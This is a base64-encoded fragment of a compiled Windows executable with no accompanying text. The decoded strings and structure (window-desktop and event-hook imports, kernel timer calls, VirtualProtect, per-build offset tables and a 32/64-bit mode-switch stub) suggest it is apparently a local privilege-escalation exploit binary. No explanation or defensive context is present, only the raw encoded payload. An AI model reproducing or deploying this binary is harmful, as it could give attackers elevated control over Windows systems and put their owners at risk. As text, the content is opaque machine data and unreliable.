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mlsZVNpemUAUQJHZXRQcm9jZXNzSGVhcAAA1ARUbHNGcmVlAEtFUk5FTDMyLmRsbAAACwNVbmhvb2tXaW5FdmVudAAAygJTZXRXaW5FdmVudEhvb2sAagBDcmVhdGVNZW51AAA+AlBvc3RRdWl0TWVzc2FnZQAJAEFwcGVuZE1lbnVBAIsCU2V0Q2xhc3NMb25nQQCxAlNldFBhcmVudAB/AlNlbmRNZXNzYWdlQQAACQNUcmFuc2xhdGVNZXNzYWdlAABtAENyZWF0ZVdpbmRvd0V4QQCkAERlc3Ryb3lNZW51AJsARGVmV2luZG93UHJvY0EAAFMCUmVnaXN0ZXJDbGFzc0EAAA8BR2V0Q2xhc3NMb25nQQDsAlNob3dXaW5kb3cAAMUCU2V0VGhyZWFkRGVza3RvcAAAEwFHZXRDbGFzc05hbWVBAI0CU2V0Q2xhc3NMb25nUHRyVwAAPAJQb3N0TWVzc2FnZUEAANACU2V0V2luZG93TG9uZ1B0clcAhwJTZXRBY3RpdmVXaW5kb3cA0wJTZXRXaW5kb3dQb3MAAKYARGVzdHJveVdpbmRvdwCuAERpc3BhdGNoTWVzc2FnZUEAAFwBR2V0TWVzc2FnZUEAWwBDcmVhdGVEZXNrdG9wQQAASgBDbG9zZURlc2t0b3AAAFVTRVIzMi5kbGwAAJUDUnRsSW1hZ2VSdmFUb1NlY3Rpb24AAKoBTnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAACiA1J0bEluaXRVbmljb2RlU3RyaW5nAAAxBFJ0bFF1ZXJ5RW52aXJvbm1lbnRWYXJpYWJsZV9VAJMDUnRsSW1hZ2VOdEhlYWRlcgAAiwNSdGxHZXRWZXJzaW9uAGICUnRsQWxsb2NhdGVBY3RpdmF0aW9uQ29udGV4dFN0YWNrANAATnRDYWxsYmFja1JldHVybgAAZQJSdGxBbGxvY2F0ZUhlYXAABwJOdFNldFRpbWVyAABKA1J0bEZyZWVIZWFwAP0ATnRDcmVhdGVUaW1lcgBudGRsbC5kbGwA+QFScGNTdHJpbmdGcmVlQQAACwJVdWlkVG9TdHJpbmdBAFJQQ1JUNC5kbGwAAIQEbWVtc2V0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAHilgKWQpZilqKWwpcClyKXYpeCl8KX4pbasAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAArbEAASIdAAAMAAAADbUAAYIdAAAoAAABua0AATIdAACgAAABFa0AARIdAAAAACwDHakAAPIdAAAAADAD5akAAaIdAAGcAZABpADMAMgAuAGQAbABsAAAAYQBkAHYAYQBwAGkAMwAyAC4AZABsAGwAAAAAAG0AcwB2AGMAcgB0AC4AZABsAGwAAAAAAHIAcABjAHIAdAA0AC4AZABsAGwAAAAAAGsAZQByAG4AZQBsADMAMgAuAGQAbABsAAAAAABrAGUAcgBuAGUAbABiAGEAcwBlAC4AZABsAGwAAAAAAHUAcwBlAHIAMwAyAC4AZABsAGwAAAAAAFNUQVRJQwAAAAAAAAAAAAAAAAAAR2xvYmFsXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVYvsU1ZXDugFAAAAX15bycNoMwDLAOj5////QVVMi+xlSIsEJTAAAABIi2AIQIDk8EiD7CBIi30Ii0UQSIvwSDPJSIP4BHIHSIvISIPpBEiNBM0gAAAASCvgSIX2dGBMjVUUSYsCSIvISP/OSIX2dE5Jg8IISYsCSIvQSP/OSIX2dDxJg8IISYsCTIvASP/OSIX2dCpJg8IISYsCTIvIScfDIAAAAEj/zkiF9nQRSYPCCEmLAkqJBBxJg8MI6+f/10mL5UFdywBzeXNzaGFkb3cAAABtc2N0ZmltZSB1aQBTQ1JPTExCQVIAAABcAEIAYQBzAGUATgBhAG0AZQBkAE8AYgBqAGUAYwB0AHMAXAAlAFMAAAAAACoAZABQACAAOABsACAAKgBkAFAAIAA4AGwAIAAqAGQAUAAgADgAbAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAGwAVAAoAEAAbAAgADIAbABYACgAQAB4ACgAAAAAAAAAHxJDEV0RwREyEi8AeAEAACgARADkAUIAUAAfEkMRXRHBETISMAB4AQAAKABEAOQBQgBQAB8SQxFdEcERMhIwAHgBAAAoAEQA5AFCAFAAHxJDEV0RwREyEjAAeAEAACgARADkAUIAUAAbEkIRXBHAES4SMAB4AQAAKABEAOwBQgBQABsSQhFcEcARLhIwAHgBAAAoADgA3AFCAFAAGxJCEVwRwBEuEjAAeAEAACgAOADcAUIAUAA1Ek0RaBHSEUoSMQDEALgAeABIAAQCQgBQADUSTRFoEdIRShIxAMQAuAB4AEgABAJCAFAANRJNEWgR0hFKEjIAxAC4AHgASAAEAkIAUAA1Ek0RaBHSEUoSMQDEALgAeABIAAQCQgBQADUSTRFoEdIRShIxAMQAuAB4AEgABAJCAFAANRJNEWgR0hFKEjIAxAC4AHgASAAEAkIAUABBEk4RbRHcEVYSMgDEALgAeABQACQCQQBOAEESThFtEdwRVhIyAMQAuAB4AFAAJAJBAE4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3El0RPRELEh4SNADAALQAdACAAAwCQwBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOhJfET8RDhIhEjYAwAC0AHQAgABcA0cAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0SYBFAERASJBI4AMAAtAB0AIAAbANKAFcAPxJiEUIREhImEjgAwAC0AHQAgABsA0oAVwBDEmMRQxEVEikSOgDAALQAdACAAGwDSwBYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACEiERABHUEegRPwDAALQAdACAAHQDSwBYAAcSIhEBEdcR7BE8AMAAtAB0AIAAdANLAFgAAAAAAAAAOQYkXAAAAAANAAAAxAAAAExgAABMYAAAR0NUTAACAADwWQAALmRhdGEAAADwWwAAXAQAAC5yZGF0YQAATGAAAMQAAAAucmRhdGEkenp6ZGJnAAAAEGEAAPglAAAudGV4dCRtbgAAAAAIhwAAoAAAAC5ic3MAAAAAAIgAACwBAAAuaWRhdGEkNQAAAAAsiQAAZAAAAC5pZGF0YSQyAAAAAJCJAAAUAAAALmlkYXRhJDMAAAAApIkAACwBAAAuaWRhdGEkNAAAAADQigAAxgQAAC5pZGF0YSQ2AAAAAFWL7IPscItFCJlSUGi0i5ZP/xUMh0AAi0UIg8AQmVJQaBJNyRX/FQyHQACLRQiDwAiZUlBoekMsKP8VDIdAAItFCIPAGJlSUGiKsIcB/xUMh0AAi0UIg8AgmVJQaGbyVTz/FQyHQACLRQiDwDCZUlBoXA+yg/8VDIdAAItFCIPAKJlSUGh/KKBp/xUMh0AAi0UIg8A4mVJQaJSrrJj/FQyHQACLRQiDwECZUlBo4fcZcf8VDIdAAItFCIPASJlSUGgvRNSb/xUMh0AAi0UIiw0wh0AAiUhQx0XQWFtAAItFCIPAVIlF7ItF7IlFqItF0GaLAGaJRf6LRexmi03+ZokIi0XQQECJRdCLRexAQIlF7GaDff4AddXHRcx0W0AAi0UIg8BuiUXoi0XoiUWki0XMZosAZolF/ItF6GaLTfxmiQiLRcxAQIlFzItF6EBAiUXoZoN9/AB11cdFyJRbQACLRQgFjAAAAIlF5ItF5IlFoItFyGaLAGaJRfqLReRmi036ZokIi0XIQECJRciLReRAQIlF5GaDffoAddXHRcT4WkAAi0UIBaIAAACJReCLReCJRZyLRcRmiwBmiUX4i0XgZotN+GaJCItFxEBAiUXEi0XgQECJReBmg334AHXVx0XAKFtAAItFCAW2AAAAiUXci0XciUWYi0XAZosAZolF9otF3GaLTfZmiQiLRcBAQIlFwItF3EBAiUXcZoN99gB11cdFvEBbQACLRQgFzAAAAIlF2ItF2IlFlItFvGaLAGaJRfSLRdhmi030ZokIi0W8QECJRbyLRdhAQIlF2GaDffQAddXHRbgMW0AAi0UIBeIAAACJRdSLRdSJRZCLRbhmiwBmiUXyi0XUZotN8maJCItFuEBAiUW4i0XUQECJRdRmg33yAHXVi0UIiUW0i0W0i020iwALQQR0HYtFCIlFsItFsItNsItAIAtBJHQJx0WsAQAAAOsEg2WsAItFrIvlXcIEAFWL7IPsNFZXg2XwAINl9ACDZegAx0X8MAMAAINl5ABqQGgAMAAAjUX8UGoAjUX0UGr//xUciUAAiUX4g334AH0K6QUBAADpAAEAAMdF/ABUAABqQGgAMAAAjUX8UGoAjUXwUGr//xUciUAAiUX4g334AH0K6dIAAADpzQAAAMdF/AABAABqBGgAMAAAjUX8UGoAjUXsUGr//xUciUAAiUX4g334AH0K6Z8AAADpmgAAALnMAAAAvqACQACLffTzpWgAVAAAaLAGQAD/dfDoMyIAAIPEDP917Og+/P//hcB1BOto62aNRdyZUlCLReyZUlBqAotF9DPJUVD/FQiHQACDxByLRQiLADPJiUXMiU3Qi0XciUXUi0XgiUXYjUXMmVJQagGLRfCZUlD/FQiHQACDxBSJRehoAIAAAI1F5FCNRfRQav//FSCJQACLRehfXovlXcIEAFWL7IPsDINl+ACNRfxTix0ciUAAakBoADAAAFBqAGgMh0AAav+JTfTHRfzdAAAA/9OFwA+IhQAAAFZXiz0Mh0AAjUX8ajdZvtAFQADzpWpAaAAwAABQagBoCIdAAKRq/8dF/McAAAD/04XAeE+LPQiHQACNRfRqMVm+8FtAADPb86VTU1Bo9WNAAGalU1Ok/xUYiEAAi/BoqGEAAFb/FQyIQACFwHQKU1b/FRSIQADrC41F+FBW/xUQiEAAX16LRfhbi+Vdw4sNMIdAAIP5EHMTugAD/n+D+QJyBYP5BHUC/+L/IovUDzTDoXCHQADo0////8IIAKFch0AA6Mb////CCAChOIdAAOi5////wggAoUCHQADorP///8IMAKFUh0AA6J/////CGAD/NWyHQABR6MD////Diw0wh0AAg/kHfA+4jAAAAIP5GY1QCA9NwsO4iAAAAMNVi+yD7AxWi3UIiXX4iVX8jUb+iUX0jUX0UFHojP///16L5V3CBABXi/mDvwQBAAAAx4dAAQAAAQAAAHU/i4cMAQAAU4tYLIXbdDArn9wAAABoF3FAAGr8/zP/FayIQABoF3FAAGr8/7cAAQAA/xWsiEAAiwOJhwQBAABb/7f0AAAA/xXQiEAAX8Mz0jmRPAEAAHUfaJcAAABSUlIzwEBSUP+x9AAAAImBPAEAAP8VzIhAAMNVi+xRU4uZ2AAAAFZXaghfOX0IiVX8D0N9CFdqCFP/FSyIQACL8IX2dCFXakFW6HcfAACLTfyDxAyL1lfoC////1ZqAFP/FSCIQABfXluL5V3CCABR/xXQiEAAw1WL7FFRM8BWQIvxgz0wh0AAB1eL+nwri09Mhcl0JIUOdCCLV1AzwDMWiVX4ik36Mk35MsqJFjhN+4tPVA+UwDFOBF9ei+Vdw1WL7IPsEIuB5AAAAFOLXQhWVzP/iUUIi/OLgdwAAACJRfg5GnQ7i1UIK/CLNovOK8iLQfiJRfCLQfyNTfCJRfToc////w+3RfBIg/gBfgc9AAIAAHwJO/N0B4tF+OvHi/iLx19eW4vlXcIEAFWL7IPsEIvRU1ZXi4LcAAAAM/+JRfAz24uC5AAAAIlF9AVYAQAAiVX4iUX8M/aDuigBAABQc3UzwIvOQNPgi038hQF0U4tN9I0EM40MwYtF8IHBeAEAAAPBOwF0OI1G/QPDPf0BAAB3LIuCKAEAAItN+FGLlIJpAQAAQImBKAEAAI0EM40Exfj///9Q6F/+//+LVfhHi038RoP+H36Qg8Mgg8EEiU38g/tgfoCLx19eW4vlXcNVi+xRoTCHQABTVlcz/4vxg/gHfQfoMf///+taa8AaD7eYfF1AAAOe4AAAAIvDK4bcAAAAiUX8i9DrLYuGKAEAAIP4UHMui5SGaQEAAECJhigBAACLwVHB4AOLzlDo2f3//4tV/EeLzlPocf7//4vIhcl1x4vHX15bi+Vdw1WL7IPsVFOLHRCHQACLwVZXamSLsPgAAABfV2oAiUXoiXXg6H0bAABXagCJReTochsAAFdqBYlF9OhnGwAAV2oFiUX46FwbAACJRfyNfbAzwMdF7AAIAABqClnzq4sNoIhAAI1F2It95IlF1ItF6IlNtAWpAgAAiw0Qh0AAiU3AiUXwUVGNRdhQ6P8XAACNRbBQ/xWkiEAAM8BQU1BW/3X8/3X4/3X0V2oBUI1F2FBqBP8VnIhAAItN8IkBg8EEg23sAYlN8